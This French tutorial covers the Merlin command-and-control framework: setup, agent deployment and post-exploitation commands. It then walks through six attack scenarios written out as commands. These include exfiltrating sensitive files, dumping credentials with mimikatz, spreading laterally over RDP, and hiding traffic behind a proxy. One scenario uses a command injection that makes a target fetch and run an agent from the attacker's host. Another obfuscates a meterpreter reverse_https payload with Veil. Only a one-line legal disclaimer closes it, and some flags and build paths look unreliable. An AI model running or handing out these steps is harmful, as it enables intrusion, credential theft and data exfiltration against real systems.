🕵️♂️ Merlin - Guide Ultime
Merlin est un framework Command and Control (C2) moderne, exploitant **HTTP/2** pour des communications furtives et rapides. Parfait pour les Red Teams militaires, il offre des fonctionnalités avancées d’exécution de commandes, de gestion d’agents, et de mouvements latéraux. Ce guide complet couvre toutes les étapes nécessaires pour en maîtriser l’utilisation. 🚀
1️⃣ Pré-requis
Avant de commencer, assurez-vous de disposer des éléments suivants :
- Distribution Linux (Kali, Ubuntu, Debian).
- Git pour cloner le dépôt Merlin :
sudo apt install git -y
wget https://golang.org/dl/go1.20.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.20.linux-amd64.tar.gz
echo "export PATH=$PATH:/usr/local/go/bin" >> ~/.bashrc
source ~/.bashrc
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
2️⃣ Installation et Compilation
Étape 1 : Cloner le dépôt officiel
Téléchargez le projet Merlin directement depuis GitHub :
git clone https://github.com/Ne0nd0g/merlin.git
Accédez au répertoire :
cd merlin
Étape 2 : Compiler le Serveur et les Agents
Compilez le serveur et les agents avec les commandes suivantes :
go build -o merlinServer merlin.go
go build -o merlinAgent agents/http/http.go
Une fois la compilation terminée, vérifiez que les exécutables ont été générés :
ls | grep merlin
3️⃣ Configuration et Lancement
Étape 1 : Démarrer le serveur
Exécutez le serveur Merlin avec un certificat SSL/TLS :
./merlinServer -https -cert cert.pem -key key.pem
Options avancées :
-port: Modifier le port par défaut (443).-proxy: Utiliser un proxy pour masquer le trafic.-ip-whitelist: Restreindre les connexions à des adresses IP spécifiques.
Étape 2 : Générer un agent
Créez un agent personnalisé pour une cible :
./merlinAgent -url https://<Votre_IP>:443
Ajoutez des options pour réduire les risques de détection :
-sleep: Intervalle entre les connexions au serveur.-jitter: Ajoute une variabilité au délai pour rendre les comportements imprévisibles.
4️⃣ Fonctionnalités Avancées
Gestion des Agents
Une fois un agent connecté, utilisez les commandes suivantes :
agents: Lister tous les agents actifs.interact [Agent_ID]: Interagir avec un agent spécifique.kill [Agent_ID]: Déconnecter un agent.
Commandes de Post-Exploitation
Depuis une session interactive, Merlin propose un éventail de commandes :
shell: Ouvrir un terminal distant.download [file]: Télécharger un fichier depuis la cible.upload [file]: Transférer un fichier vers la cible.screenshot: Capturer l’écran de la cible.execute [commande]: Exécuter une commande directement.
5️⃣ Scénarios Pratiques Avancés pour Merlin
Scénario 1 : Prise de Contrôle d’un Système Compromis
Objectif : Déployer un agent sur un système cible, établir un accès distant, et exfiltrer un fichier sensible.
Étapes :
- Générez un agent pour la cible :
- Transférez l’agent sur la machine cible (via une clé USB ou un script).
- Sur la cible, exécutez l’agent :
- Depuis le serveur Merlin, interagissez avec l’agent :
- Téléchargez un fichier sensible :
./merlinAgent -url https://<Votre_IP>:443 -sleep 10
./merlinAgent
agents
interact <Agent_ID>
download /path/to/sensitive_file.txt
Scénario 2 : Surveillance Réseau avec Capture de Paquets
Objectif : Capturer le trafic réseau sur une machine compromise et analyser les données pour identifier des cibles supplémentaires.
Étapes :
- Interagissez avec un agent connecté :
- Installez et configurez tcpdump sur la cible :
- Téléchargez le fichier capturé pour analyse :
- Analysez les paquets sur votre machine avec Wireshark :
interact <Agent_ID>
apt install tcpdump -y
tcpdump -i eth0 -w /tmp/capture.pcap
download /tmp/capture.pcap
wireshark /path/to/capture.pcap
Scénario 3 : Propagation Latérale via RDP
Objectif : Exploiter les informations d’identification récupérées pour se propager à d’autres machines sur le réseau.
Étapes :
- Utilisez
mimikatzpour extraire les identifiants sur la machine compromise : - Identifiez une autre machine sur le réseau :
- Utilisez les identifiants pour vous connecter via RDP :
- Déployez un nouvel agent sur cette machine :
execute mimikatz "sekurlsa::logonpasswords"
nmap -p 3389 <Target_Network>
xfreerdp /u:<username> /p:<password> /v:<Target_IP>
upload merlinAgent.exe
execute merlinAgent.exe
Scénario 4 : Évasion et Masquage du Trafic
Objectif : Configurer un proxy et masquer le trafic entre le serveur et les agents pour éviter la détection.
Étapes :
- Installez un proxy sur le serveur :
- Configurez Merlin pour utiliser le proxy :
- Modifiez les agents pour se connecter via le proxy :
- Vérifiez le masquage du trafic avec tcpdump :
sudo apt install squid -y
./merlinServer -https -cert cert.pem -key key.pem -proxy http://<proxy_IP>:3128
./merlinAgent -url https://<Votre_IP>:443 -proxy http://<proxy_IP>:3128
tcpdump -i eth0 port 3128
Scénario 5 : Exploitation des Failles d’Application
Objectif : Exploiter une application web vulnérable pour installer un agent Merlin.
Étapes :
- Identifiez une application web vulnérable via un scan :
- Exploitez une injection de commande pour téléverser un agent :
- Activez l’agent sur la cible :
nmap -p 80 --script vuln <Target_IP>
curl -X POST -d "cmd=curl -O http://<Your_IP>/merlinAgent" http://<Target_IP>/vulnerable.php
curl -X POST -d "cmd=chmod +x merlinAgent && ./merlinAgent" http://<Target_IP>/vulnerable.php
Scénario 6 : Gestion Multi-Cibles et Campagnes à Grande Échelle
Objectif : Coordonner plusieurs agents sur différents réseaux pour une campagne synchronisée.
Étapes :
- Déployez des agents sur plusieurs machines :
- Sur le serveur Merlin, listez les agents connectés :
- Interagissez avec chaque agent pour exécuter des commandes synchronisées :
- Exfiltrez les données importantes de chaque machine :
upload merlinAgent.exe
execute merlinAgent.exe
agents
interact <Agent_ID>
shell ipconfig
download /path/to/data
6️⃣ Techniques d’Évasion et de Furtivité
- Obfuscation des payloads avec Veil Framework :
veil
use 1
set PAYLOAD python/meterpreter/reverse_https
generate
./merlinAgent -dns <DNS_Serveur>
⚠️ Avertissement : Merlin est un outil puissant destiné à des fins légales. Toute utilisation dans un cadre non autorisé constitue une infraction.